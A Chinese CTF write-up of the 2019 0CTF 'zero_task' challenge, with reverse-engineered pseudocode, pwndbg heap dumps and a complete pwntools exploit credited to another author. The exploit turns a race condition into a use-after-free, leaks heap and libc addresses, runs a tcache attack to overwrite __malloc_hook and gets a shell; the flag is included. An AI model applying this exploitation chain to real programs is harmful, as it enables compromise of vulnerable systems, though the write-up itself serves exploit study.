这道题目是2019-0ctf题目当中的一道题目,是很正常的node形式的题目,唯一有点特别的就是对于数据的处理调用了openssl中的关于AES加解密的函数,加解密步骤如下:
unsigned char key[32] = {1}; unsigned char iv[16] = {0}; unsigned char *inStr = "this is test string"; int inLen = strlen(inStr); int encLen = 0; int outlen = 0; unsigned char encData[1024]; printf("source: %s\n",inStr); //加密 EVP_CIPHER_CTX *ctx; ctx = EVP_CIPHER_CTX_new(); EVP_CipherInit_ex(ctx, EVP_aes_256_ecb(), NULL, key, iv, 1); EVP_CipherUpdate(ctx, encData, &outlen, inStr, inLen); encLen = outlen; EVP_CipherFinal(ctx, encData+outlen, &outlen); encLen += outlen; EVP_CIPHER_CTX_free(ctx); //解密 int decLen = 0; outlen = 0; unsigned char decData[1024]; EVP_CIPHER_CTX *ctx2; ctx2 = EVP_CIPHER_CTX_new(); EVP_CipherInit_ex(ctx2, EVP_aes_256_ecb(), NULL, key, iv, 0); EVP_CipherUpdate(ctx2, decData, &outlen, encData, encLen); decLen = outlen; EVP_CipherFinal(ctx2, decData+outlen, &outlen); decLen += outlen; EVP_CIPHER_CTX_free(ctx2); decData[decLen] = '\0'; printf("decrypt: %s\n",decData);
参考:https://www.cnblogs.com/cocoajin/p/6121706.html
打开程序的菜单函数,看到函数的基本功能如下:
puts("1. Add task"); puts("2. Delete task"); puts("3. Go"); return printf("Choice: ");
只有三个主要功能,增加节点,删除节点,Go的功能是根据节点的特征值对于节点中的数据进行加解密操作。
printf("Task id : ", 0LL); id = get_input(); printf("Encrypt(1) / Decrypt(2): ");//有加解密两种模式 v1 = get_input(); if ( v1 != 1 && v1 != 2 ) return (void *)0xFFFFFFFFLL; s = malloc(0x70uLL); // node空间的大小为0x70 memset(s, 0, 0x70uLL); if ( !(unsigned int)sub_11A8(v1, (__int64)s) ) //功能函数 return (void *)0xFFFFFFFFLL; *((_DWORD *)s + 24) = id; // offset = 0x60 *((_QWORD *)s + 13) = node_202028; // offset = 0x68 result = s; node_202028 = (__int64)s;//将新创建的节点放在bss段里面,很明了,这道题目是通过链表维护node节点。
跟进sub_11A8()功能函数,进一步分析功能函数的主要功能。
printf("Key : ", a2); read_F82(v4 + 20, 32);//KEY_offset = 0x14 printf("IV : ", 32LL); read_F82(v4 + 52, 16);//IV_offset = 0x34 printf("Data Size : ", 16LL); size = (unsigned int)get_input(); if ( (signed int)size <= 0 || (signed int)size > 4096 ) return 0LL; *(_QWORD *)(v4 + 8) = (signed int)size;// size_offset = 0x8 *(_QWORD *)(v4 + 88) = EVP_CIPHER_CTX_new(); //ctx_offset = 0x58 if ( a1 == 1 ) { v3 = EVP_aes_256_cbc(); EVP_EncryptInit_ex(*(_QWORD *)(v4 + 88), v3, 0LL, v4 + 20, v4 + 52); } else { if ( a1 != 2 ) return 0LL; v3 = EVP_aes_256_cbc(); EVP_DecryptInit_ex(*(_QWORD *)(v4 + 88), v3, 0LL, v4 + 20, v4 + 52); } *(_DWORD *)(v4 + 16) = a1;//mark_offset = 0x10 判断是加密还是解密 *(_QWORD *)v4 = malloc(*(_QWORD *)(v4 + 8));//chunk_offset = 0x0 , 分配一个size大小的空间存储数据 if ( !*(_QWORD *)v4 ) exit(1); printf("Data : ", v3); read_F82(*(_QWORD *)v4, *(_QWORD *)(v4 + 8)); return 1LL;
Yeah,通过上面的分析,程序结构现在已经可以被我们弄清楚了,如下:
node_struct { 0x0 : chunk 0x8 : size 0x10 : mark 标志位,记录加密/解密 0x14 : KEY 0x34 : IV 0x58 : ctx 0x60 : task_id 0x68 : pre_node }
在add的过程当中会进行四次malloc过程:
结构体malloc(0x70): 0x80
EVP_CIPHER_CTX_new(): 创建ctx对象0xb0大小chunk
EVP_EncryptInit_ex/EVP_DecryptInit_ex函数: 创建0x110大小chunk
根据输入的chunk size的chunk
程序逻辑比较清楚,就是单纯的对node链表解链,然后利用openssl接口对于申请的chunk进行释放。
ptr = (void **)node_202028; v2 = node_202028; printf("Task id : "); v0 = get_input(); if ( node_202028 && v0 == *(_DWORD *)(node_202028 + 96) ) { node_202028 = *(_QWORD *)(node_202028 + 104); // 解链 EVP_CIPHER_CTX_free((__int64)ptr[11]);//调用openssl接口释放chunk free(*ptr); free(ptr); } else { while ( ptr ) { if ( v0 == *((_DWORD *)ptr + 24) ) { *(_QWORD *)(v2 + 104) = ptr[13]; // 解链 EVP_CIPHER_CTX_free((__int64)ptr[11]); //调用openssl接口释放chunk free(*ptr); free(ptr); return; } v2 = (__int64)ptr; ptr = (void **)ptr[13]; } } }
这个函数是解题的关键函数。
我当初做这道题目的时候并不了解条件竞争题目的解法,一直苦苦思索好久而不得解,最后被同队大佬解出。
int v1; // [rsp+4h] [rbp-1Ch] pthread_t newthread; // [rsp+8h] [rbp-18h] void *arg; // [rsp+10h] [rbp-10h] unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); printf("Task id : "); v1 = get_input(); for ( arg = (void *)node_202028; arg; arg = (void *)*((_QWORD *)arg + 13) ) { if ( v1 == *((_DWORD *)arg + 24) ) { pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, arg);//开辟新线程 return __readfsqword(0x28u) ^ v4; } } return __readfsqword(0x28u) ^ v4;
进到start_routine里面分析程序逻辑
v5 = __readfsqword(0x28u); v2 = (unsigned __int64)a1; v1 = 0; v3 = 0LL; v4 = 0LL; puts("Prepare..."); sleep(2u); // 这就是程序的关键所在,sleep 2s中足够造成条件竞争,进而引起数据的混乱 memset(qword_202030, 0, 0x1010uLL); if ( !(unsigned int)EVP_CipherUpdate( *(_QWORD *)(v2 + 88), (__int64)qword_202030, (__int64)&v1, *(_QWORD *)v2, (unsigned int)*(_QWORD *)(v2 + 8)) ) pthread_exit(0LL); *((_QWORD *)&v2 + 1) += v1; if ( !(unsigned int)EVP_CipherFinal_ex(*(_QWORD *)(v2 + 88), (char *)qword_202030 + *((_QWORD *)&v2 + 1), &v1) ) pthread_exit(0LL); *((_QWORD *)&v2 + 1) += v1; puts("Ciphertext: "); sub_107B(stdout, (__int64)qword_202030, *((unsigned __int64 *)&v2 + 1), 0x10uLL, 1uLL);//打印加密/解密 后的数据 pthread_exit(0LL);
这道题目malloc、free chunk的过程有点特殊,实际测试一下malloc、free的过程,确定一下过程细节,再加深一下数据结构理解。
测试代码如下:
def add(idx=1,way=1,key='1'*0x20,IV='a'*0x10,size=0,data='',go_flag=False): if not go_flag: ru('3. Go') sl('1') ru('id : ') sl(str(idx)) ru('(2): ') sl(str(way)) ru('Key : ') s(key) ru('IV : ') s(IV) ru('Size : ') sl(str(size)) ru('Data : ') s(data) def delete(idx,go_flag=False): if not go_flag: ru('3. Go') sl('2') ru('id : ') sl(str(idx)) add(0,1,size=0x10,data='a'*0x10) add(1,1,size=0x10,data='a'*0x10) delete(0) ru('ice:') sl('3') ru('id :') sl('1')
测试过程就是添加两个node,然后释放一个,然后加密一个。
程序刚开始的heap信息如下:
pwndbg> heap 0x555555757000 PREV_INUSE { mchunk_prev_size = 0x0, mchunk_size = 0x251, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0, } 0x555555757250 PREV_INUSE { mchunk_prev_size = 0x0, mchunk_size = 0x1021, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0, } 0x555555758270 PREV_INUSE { mchunk_prev_size = 0x0, mchunk_size = 0x1fd91, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0, }
增添一个节点,增加了四个chunk,和我们的分析是吻合的。
pwndbg> heap 0x555555757000 PREV_INUSE { mchunk_prev_size = 0x0, mchunk_size = 0x251, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0, } 0x555555757250 PREV_INUSE { mchunk_prev_size = 0x0, mchunk_size = 0x1021, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0, } 0x555555758270 FASTBIN { mchunk_prev_size = 0x0, mchunk_size = 0x81, fd = 0x5555557584c0, bk = 0x10, fd_nextsize = 0x3131313100000001, bk_nextsize = 0x3131313131313131, } 0x5555557582f0 PREV_INUSE { mchunk_prev_size = 0x0, mchunk_size = 0xb1, fd = 0x7ffff7b98620, bk = 0x0, fd_nextsize = 0x1, bk_nextsize = 0x6161616161616161, } 0x5555557583a0 PREV_INUSE { mchunk_prev_size = 0x0, mchunk_size = 0x111, fd = 0x3131313131313131, bk = 0x3131313131313131, fd_nextsize = 0x3131313131313131, bk_nextsize = 0x3131313131313131, } 0x5555557584b0 FASTBIN { mchunk_prev_size = 0x7ffff78126c0, mchunk_size = 0x21, fd = 0x6161616161616161, bk = 0x6161616161616161, fd_nextsize = 0x0, bk_nextsize = 0x1fb31, } 0x5555557584d0 PREV_INUSE { mchunk_prev_size = 0x0, mchunk_size = 0x1fb31, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0, }
查看node_chunk详细信息,和我们分析的数据结构是吻合的。
0x555555758270: 0x0000000000000000 0x0000000000000081 0x555555758280: 0x00005555557584c0 0x0000000000000010 0x555555758290: 0x3131313100000001 0x3131313131313131 0x5555557582a0: 0x3131313131313131 0x3131313131313131 0x5555557582b0: 0x6161616131313131 0x6161616161616161 0x5555557582c0: 0x0000000061616161 0x0000000000000000 0x5555557582d0: 0x0000000000000000 0x0000555555758300 0x5555557582e0: 0x0000000000000000 0x0000000000000000
delete的时候,同时释放四个chunk。
pwndbg> bins tcachebins 0x20 [ 1]: 0x5555557584c0 ◂— 0x0 0x80 [ 1]: 0x555555758280 ◂— 0x0 0xb0 [ 1]: 0x555555758300 ◂— 0x0 0x110 [ 1]: 0x5555557583b0 ◂— 0x0 fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty
进行加解密操时,将操作结果放在指定的最开始申请的chunk中。
调试的exp来自raycp师傅,代码很详尽每一步都有注释,师傅博客:https://ray-cp.github.io/
#gdb.attach(p,'b * 0x555555555724') add(9999,1,size=0x10,data='a'*0x10) #use to get shell. add(999,1,size=0x10,data='a'*0x10) #enc_struct to build fake enc #debug(0x1253) add(99,2,size=0x10,data='a'*0x10) #dec_struct to build fake dec
## step 1 leak heap address add(0,1,size=0x70,data='a'*0x70) add(1,1,size=0x20,data='a'*0x20) #8c50 add(2,1,size=0x70,data='a'*0x70) #gdb.attach(p,'b * 0x555555555724') delete(0) go(1) # 触发条件竞争 delete(1,True) delete(2) add(4,1,size=0x20,data='a'*0x20) add(5,1,size=0x20,data='a'*0x20) # 1 chunk's enc_struct must be malloced out,after this operation, there are still 3 chunks with size of 0x80 and 1 chunk with size 0xb0, 1 chunk with size 0x110 for aes algorithm #gdb.attach(p,'b * 0x555555555724') ### leak p.recvuntil('text: \n') data=p.recvuntil('\n') data=data.replace(" ",'').strip() #print data d = pc.decrypt(data) heap_addr=u64(d[:8]) #print hex(heap_addr) heap_base=heap_addr-0x1be0 enc_struct_addr=heap_base+0x1300 dec_struct_addr=heap_base+0x17c0 print "heap_base",hex(heap_base)
代码中利用go(1)开启新线程,进入sleep(2)的等待,在这个等待期间进行了如下操作,
delete(1,True) delete(2) add(4,1,size=0x20,data='a'*0x20) add(5,1,size=0x20,data='a'*0x20)
此时bins中的结构如下:
tcachebins 0x80 [ 3]: 0x555555758c60 —▸ 0x5555557589a0 —▸ 0x555555758be0 ◂— 0x0 0xb0 [ 1]: 0x555555758a20 ◂— 0x0 0x110 [ 1]: 0x555555758ad0 ◂— 0x0 fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty
将要进行加密操作的node节点的地址为0x58c60,现在经过经过操作后,按照加密逻辑,将要被加密并且输出的是0x555555758be0(0x555555758c60 —▸ 0x5555557589a0 —▸ 0x555555758be0),所以我们可以通过接收字符串,利用相同的KEY、IV进行解密,得到heap信息。
后面就是清空bins链表
### do some thing clean the tcache list add(6,1,size=0x70,data='a'*0x70,go_flag=True) add(7,1,size=0x70,data='a'*0x70)
## step 2 uaf to leak libc address. ### first free chunk to unsorted bin chunk to get libc address. for i in range(0,7): add(100+i,1,size=0x80,data='a'*0x80) #debug(0x1253) add(200,1,size=0x80,data='a'*0x80) # which chunk of content use to leak libc address leak_libc_heap=heap_base+0x3b10 add(201,1,size=0x30,data='a'*0x30) # for i in range(0,7): delete(100+i) ### malloc out one chunk with size of 0x80 add(201,1,size=0x70,data='a'*0x70) gdb.attach(p,'b * 0x555555555724') ### go with 200 and free 200 and 201 and add one which will build a fake struct(uaf in 200) #debug(0x15c6) go(200) # 0xa8c0 触发条件竞争 p.recvuntil('Prepare...') #debug(0x14f3) delete(200,True) delete(201) fake_enc=p64(leak_libc_heap)+p64(0x10)+p32(1)+'1'*0x20+'a'*0x10+p32(0)+p64(0)+p64(0)+p64(enc_struct_addr)+p64(0xb)+p64(0) add(203,1,size=0x70,data=fake_enc) ## the key to leak libc 控制0xa8c0的结构 p.recvuntil('text: \n') data=p.recvuntil('\n') data=data.replace(" ",'').strip() print data d = pc.decrypt(data) libc_addr=u64(d[:8]) #print hex(libc_addr) libc_base=libc_addr-0x3ebca0 print "libc_base",hex(libc_base) rce=libc_base+0x10a38c malloc_hook=libc_base+libc.symbols['__malloc_hook']
泄露libc的步骤就是填满tcache,然后释放chunk到unsorted bin中,然后利用uaf伪造chunk内容,打印libc的信息。
主要来看一下下面几个关键步骤。
### go with 200 and free 200 and 201 and add one which will build a fake struct(uaf in 200) #debug(0x15c6) go(200) # 0xa8c0 触发条件竞争 p.recvuntil('Prepare...') #debug(0x14f3) delete(200,True) delete(201) fake_enc=p64(leak_libc_heap)+p64(0x10)+p32(1)+'1'*0x20+'a'*0x10+p32(0)+p64(0)+p64(0)+p64(enc_struct_addr)+p64(0xb)+p64(0) add(203,1,size=0x70,data=fake_enc) ## the key to leak libc 控制0xa8c0的结构
首先利用触发条件竞争,这个node对应的addr为0xa8c0。
然后下面几步操作控制0xa8c0的内容,使其打印unsortedbin中含有的libc信息,进行完最后的add操作时,0xa8c0的内容如下。
pwndbg> x/40xg 0x55555575a8c0 0x55555575a8c0: 0x0000000000000000 0x0000000000000081 0x55555575a8d0: 0x000055555575ab10 0x0000000000000010 0x55555575a8e0: 0x3131313100000001 0x3131313131313131 0x55555575a8f0: 0x3131313131313131 0x3131313131313131 0x55555575a900: 0x6161616131313131 0x6161616161616161 0x55555575a910: 0x0000000061616161 0x0000000000000000 0x55555575a920: 0x0000000000000000 0x0000555555758300 0x55555575a930: 0x000000000000000b 0x0000000000000000 0x55555575a940: 0x0000000000000000 0x00000000000000b1 0x55555575a950: 0x00007ffff7b98620 0x0000000000000000 pwndbg> x/4xg 0x000055555575ab00 0x55555575ab00: 0x00007ffff78126c0 0x0000000000000091 0x55555575ab10: 0x00007ffff776dca0 0x000055555575a670 libc_version:2.27 arch:64 tcache_enable:True libc_base:0x7ffff7382000 heap_base:0x555555757000 (0x80) fastbins[6] -> 0x55555575a5f0 (0x80) entries[6] -> 0x55555575a060 -> 0x555555759d90 -> 0x555555759ac0 -> 0x5555557597f0 -> 0x555555759520 (0x90) entries[7] -> 0x55555575a840 -> 0x55555575a570 -> 0x55555575a2a0 -> 0x555555759fd0 -> 0x555555759d00 -> 0x555555759a30 -> 0x555555759760 (0xb0) entries[9] -> 0x55555575a3b0 -> 0x55555575a0e0 -> 0x555555759e10 -> 0x555555759b40 -> 0x555555759870 -> 0x5555557595a0 (0x110) entries[15] -> 0x55555575a460 -> 0x55555575a190 -> 0x555555759ec0 -> 0x555555759bf0 -> 0x555555759920 -> 0x555555759650 top: 0x55555575ae10 last_remainder: 0x0 unsortedbins: <-> 0x55555575ab00 <-> 0x55555575a670
如上便可以将libc的信息泄露出来。
## step uaf to write a fastbin chunk ### do some thing to clean the tcache add(100+0,1,size=0x80,data='a'*0x80,go_flag=True) for i in range(1,7): add(100+i,1,size=0x80,data='a'*0x80) gdb.attach(p,'b * 0x555555555724') payload=p64(malloc_hook)*4 payload=pc.encrypt(payload) payload=payload.decode('hex') #debug(0x12f5) payload_addr=heap_base+0x4180 # 0xb180 add(1000,1,size=0x1000,data=payload*(0x1000/len(payload))) add(300,1,size=0x30,data='a'*0x30) add(301,1,size=0x70,data='a'*0x70) #debug(0x14f3) delete(9999) # free the evil evil_addr=heap_base+0x14c0 #0x84b0 global_ptr=evil_addr-0x1260 #0x7260 #debug(0x15c6) go(300) delete(300,go_flag=True) delete(301) add(400,1,size=0x30,data='a'*0x30) fake_dec=p64(payload_addr-0x30)+p64(0x1000+0x30)+p32(1)+'1'*0x20+'a'*0x10+p32(0)+p64(0)+p64(0)+p64(dec_struct_addr)+p64(0xb)+p64(0) add(401,1,size=0x70,data=fake_dec) ## the key to overwrite the fastbin chunk data=p64(rce)*(0x70/8) sleep(2) #debug(0x12f5) #haha ,overwrite the malloc_hook to rce add(500,1,size=0x70,data=data)
上述代码中比较关键的部分就是下面这些
evil_addr=heap_base+0x14c0 #0x84b0 global_ptr=evil_addr-0x1260 #0x7260 #debug(0x15c6) go(300) delete(300,go_flag=True) delete(301) add(400,1,size=0x30,data='a'*0x30) fake_dec=p64(payload_addr-0x30)+p64(0x1000+0x30)+p32(1)+'1'*0x20+'a'*0x10+p32(0)+p64(0)+p64(0)+p64(dec_struct_addr)+p64(0xb)+p64(0) add(401,1,size=0x70,data=fake_dec) ## the key to overwrite the fastbin chunk data=p64(rce)*(0x70/8)
运行截止到后,bins链表如下
pwndbg> bins tcachebins 0x20 [ 1]: 0x5555557584c0 ◂— 0x0 0x80 [ 3]: 0x55555575c650 —▸ 0x55555575c190 —▸ 0x555555758280 ◂— 0x0 0xb0 [ 2]: 0x55555575c210 —▸ 0x555555758300 ◂— 0x0 0x110 [ 2]: 0x55555575c2c0 —▸ 0x5555557583b0 ◂— 0x0 fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty
可以看出,下次add()的时候就可以控制0xc180的内容,即之前go(300)的对应的node的内容。
add()之后,控制的node结构如下:
pwndbg> x/50xg 0x55555575c180 0x55555575c180: 0x0000000000000000 0x0000000000000081 0x55555575c190: 0x000055555575b150 0x0000000000001030 0x55555575c1a0: 0x3131313100000001 0x3131313131313131 0x55555575c1b0: 0x3131313131313131 0x3131313131313131 0x55555575c1c0: 0x6161616131313131 0x6161616161616161 0x55555575c1d0: 0x0000000061616161 0x0000000000000000 0x55555575c1e0: 0x0000000000000000 0x00005555557587c0 0x55555575c1f0: 0x000000000000000b 0x0000000000000000 0x55555575c200: 0x0000000000000000 0x00000000000000b1
可以看到,现在我们已经把data_size写成0x1030个字节,因为存储加密/解密数据的chunk之后0x1020个字节,因此可以造成数据溢出,因为是tcache结构,所以我们可以构造tcache_attack。
最终效果如下:
pwndbg> x/20xg 0x0000555555758250 0x555555758250: 0xeabbc1f8a364c83c 0xfe36a77585673855 0x555555758260: 0x00007ffff776dc30 0x00007ffff776dc30 0x555555758270: 0xeabbc1f8a364c83c 0xfe36a77585673855 0x555555758280: 0x00007ffff776dc30 0x00007ffff776dc30 0x555555758290: 0x3131313100000001 0x3131313131313131 0x5555557582a0: 0x3131313131313131 0x3131313131313131 0x5555557582b0: 0x6161616131313131 0x6161616161616161 0x5555557582c0: 0x0000000061616161 0x0000000000000000 0x5555557582d0: 0x0000000000000000 0x0000555555758300 0x5555557582e0: 0x000000000000270f 0x0000000000000000 pwndbg> bins tcachebins 0x20 [ 1]: 0x5555557584c0 ◂— 0x0 0x80 [ 1]: 0x555555758280 —▸ 0x7ffff776dc30 (__malloc_hook) ◂— 0x0 0xb0 [ 1]: 0x555555758300 ◂— 0x0 0x110 [ 1]: 0x5555557583b0 ◂— 0x0
下面就简单了 , 简单的tcache_attack,复写__malloc_hook最终触发malloc,get shell。
#author : raycp #link: https://ray-cp.github.io/ from pwn import * import sys from Crypto.Cipher import AES from binascii import b2a_hex, a2b_hex DEBUG = 1 if DEBUG: p = process('./zero_task') e = ELF('./zero_task') context.log_level = 'debug' #libc=ELF('/lib/i386-linux-gnu/libc-2.23.so')b0verfl0w libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so') #p = process(['./reader'], env={'LD_PRELOAD': os.path.join(os.getcwd(),'libc-2.19.so')}) #libc = ELF('./libc64.so') else: p = remote('111.186.63.201', 10001) libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so') #libc = ELF('libc_64.so.6') wordSz = 4 hwordSz = 2 bits = 32 PIE = 0 mypid=0 def leak(address, size): with open('/proc/%s/mem' % mypid) as mem: mem.seek(address) return mem.read(size) def findModuleBase(pid, mem): name = os.readlink('/proc/%s/exe' % pid) with open('/proc/%s/maps' % pid) as maps: for line in maps: if name in line: addr = int(line.split('-')[0], 16) mem.seek(addr) if mem.read(4) == "\x7fELF": bitFormat = u8(leak(addr + 4, 1)) if bitFormat == 2: global wordSz global hwordSz global bits wordSz = 8 hwordSz = 4 bits = 64 return addr log.failure("Module's base address not found.") sys.exit(1) def debug(addr): global mypid mypid = proc.pidof(p)[0] #raw_input('debug:') with open('/proc/%s/mem' % mypid) as mem: moduleBase = findModuleBase(mypid, mem) print "program_base",hex(moduleBase) gdb.attach(p, "set follow-fork-mode child\nb *" + hex(moduleBase+addr)) class prpcrypt(): def __init__(self, key,iv): self.key = key self.mode = AES.MODE_CBC self.iv = iv def encrypt(self, text): cryptor = AES.new(self.key, self.mode, self.iv) length = 32 count = len(text) if(count % length != 0) : add = length - (count % length) else: add = 0 text = text + ('\0' * add) self.ciphertext = cryptor.encrypt(text) return b2a_hex(self.ciphertext) def decrypt(self, text): cryptor = AES.new(self.key, self.mode, self.iv) plain_text = cryptor.decrypt(a2b_hex(text)) return plain_text.rstrip('\0') def add(idx=1,way=1,key='1'*0x20,IV='a'*0x10,size=0,data='',go_flag=False): if not go_flag: p.recvuntil('3. Go') p.sendline('1') p.recvuntil('id : ') p.sendline(str(idx)) p.recvuntil('(2): ') p.sendline(str(way)) p.recvuntil('Key : ') p.send(key) p.recvuntil('IV : ') p.send(IV) p.recvuntil('Size : ') p.sendline(str(size)) p.recvuntil('Data : ') p.send(data) def delete(idx,go_flag=False): if not go_flag: p.recvuntil('3. Go') p.sendline('2') p.recvuntil('id : ') p.sendline(str(idx)) def delete1(idx): #p.recvuntil('3. Go') p.sendline('2') p.recvuntil('id : ') p.sendline(str(idx)) def go(idx): p.recvuntil('3. Go') p.sendline('3') p.recvuntil('id : ') p.sendline(str(idx)) def pwn(): pc = prpcrypt('1'*0x20,'a'*0x10) #aes algrithom #gdb.attach(p,'b * 0x555555555724') add(9999,1,size=0x10,data='a'*0x10) #use to get shell. add(999,1,size=0x10,data='a'*0x10) #enc_struct to build fake enc #debug(0x1253) add(99,2,size=0x10,data='a'*0x10) #dec_struct to build fake dec ## step 1 leak heap address add(0,1,size=0x70,data='a'*0x70) add(1,1,size=0x20,data='a'*0x20) #8c50 add(2,1,size=0x70,data='a'*0x70) #gdb.attach(p,'b * 0x555555555724') delete(0) go(1) delete(1,True) delete(2) add(4,1,size=0x20,data='a'*0x20) add(5,1,size=0x20,data='a'*0x20) # 1 chunk's enc_struct must be malloced out,after this operation, there are still 3 chunks with size of 0x80 and 1 chunk with size 0xb0, i don't know somehow there is one more chunk with size 0x110, maybe for aes algorithm #gdb.attach(p,'b * 0x555555555724') ### leak p.recvuntil('text: \n') data=p.recvuntil('\n') data=data.replace(" ",'').strip() #print data d = pc.decrypt(data) heap_addr=u64(d[:8]) #print hex(heap_addr) heap_base=heap_addr-0x1be0 enc_struct_addr=heap_base+0x1300 dec_struct_addr=heap_base+0x17c0 print "heap_base",hex(heap_base) ### do some thing clean the tcache list add(6,1,size=0x70,data='a'*0x70,go_flag=True) add(7,1,size=0x70,data='a'*0x70) ## step 2 uaf to leak libc address. ### first free chunk to unsorted bin chunk to get libc address. for i in range(0,7): add(100+i,1,size=0x80,data='a'*0x80) #debug(0x1253) add(200,1,size=0x80,data='a'*0x80) # which chunk of content use to leak libc address leak_libc_heap=heap_base+0x3b10 add(201,1,size=0x30,data='a'*0x30) # for i in range(0,7): delete(100+i) ### malloc out one chunk with size of 0x80 add(201,1,size=0x70,data='a'*0x70) #gdb.attach(p,'b * 0x555555555724') ### go with 200 and free 200 and 201 and add one which will build a fake struct(uaf in 200) #debug(0x15c6) go(200) # 0xa8c0 p.recvuntil('Prepare...') #debug(0x14f3) delete(200,True) delete(201) fake_enc=p64(leak_libc_heap)+p64(0x10)+p32(1)+'1'*0x20+'a'*0x10+p32(0)+p64(0)+p64(0)+p64(enc_struct_addr)+p64(0xb)+p64(0) add(203,1,size=0x70,data=fake_enc) ## the key to leak libc p.recvuntil('text: \n') data=p.recvuntil('\n') data=data.replace(" ",'').strip() print data d = pc.decrypt(data) libc_addr=u64(d[:8]) #print hex(libc_addr) libc_base=libc_addr-0x3ebca0 print "libc_base",hex(libc_base) rce=libc_base+0x10a38c malloc_hook=libc_base+libc.symbols['__malloc_hook'] ## step uaf to write a fastbin chunk ### do some thing to clean the tcache add(100+0,1,size=0x80,data='a'*0x80,go_flag=True) for i in range(1,7): add(100+i,1,size=0x80,data='a'*0x80) #gdb.attach(p,'b * 0x555555555724') payload=p64(malloc_hook)*4 payload=pc.encrypt(payload) payload=payload.decode('hex') #debug(0x12f5) payload_addr=heap_base+0x4180 # 0xb180 add(1000,1,size=0x1000,data=payload*(0x1000/len(payload))) add(300,1,size=0x30,data='a'*0x30) # 0xc180 add(301,1,size=0x70,data='a'*0x70) # 0xc400 #debug(0x14f3) delete(9999) # free the evil evil_addr=heap_base+0x14c0 #0x84b0 global_ptr=evil_addr-0x1260 #0x7260 #debug(0x15c6) go(300) #0xc180 delete(300,go_flag=True) delete(301) add(400,1,size=0x30,data='a'*0x30) fake_dec=p64(payload_addr-0x30)+p64(0x1000+0x30)+p32(1)+'1'*0x20+'a'*0x10+p32(0)+p64(0)+p64(0)+p64(dec_struct_addr)+p64(0xb)+p64(0) add(401,1,size=0x70,data=fake_dec) ## the key to overwrite the fastbin chunk data=p64(rce)*(0x70/8) #overflow at the aim_heap, to make tacache_attack sleep(2) gdb.attach(p,'b * 0x555555555724') #debug(0x12f5) #haha ,overwrite the malloc_hook to rce add(500,1,size=0x70,data=data) #trigger malloc p.recvuntil('3. Go') p.sendline('1') p.recvuntil('id : ') p.sendline('1') p.recvuntil(':') p.sendline('1') p.interactive() if __name__ == '__main__': pwn() #flag{pl4y_w1th_u4F_ev3ryDay_63a9d2a26f275685665dc02b886b530e}
这是我第一次接触条件竞争的题目,这题复现完之后看来就是条件竞争最后造成的uaf利用效果。泄露是利用条件竞争后的chunk可以进行进一步的使用,从而泄露想要的信息;而任意地址写就比较骚了,利用堆溢出以及tcache的特性进行了tcache_attack。
最近遇到的题目都不是libc-2.23版本了,一般高质量的比赛题目libc版本都是2.27以上,这道题目的利用版本的也是2.27,看来2.23快要退出历史舞台了。
再次强调一下,本文调试的exp是来自raycp师傅,博客https://ray-cp.github.io/,调试师傅的代码真美滋滋,能学到不少东西,主要的思路算是明白了,但是自己重写的话可能还要考虑chunk的构造问题,因为最近时间并不是特别充裕,这次就用师傅的exp来学习了。
也参考过其他师傅的exp的思路,但不是通过任意写来达成利用的,这篇文章里面介绍了这道题目其实是可以任意地址读,任意地址写的,膜一下raycp师傅sao思路。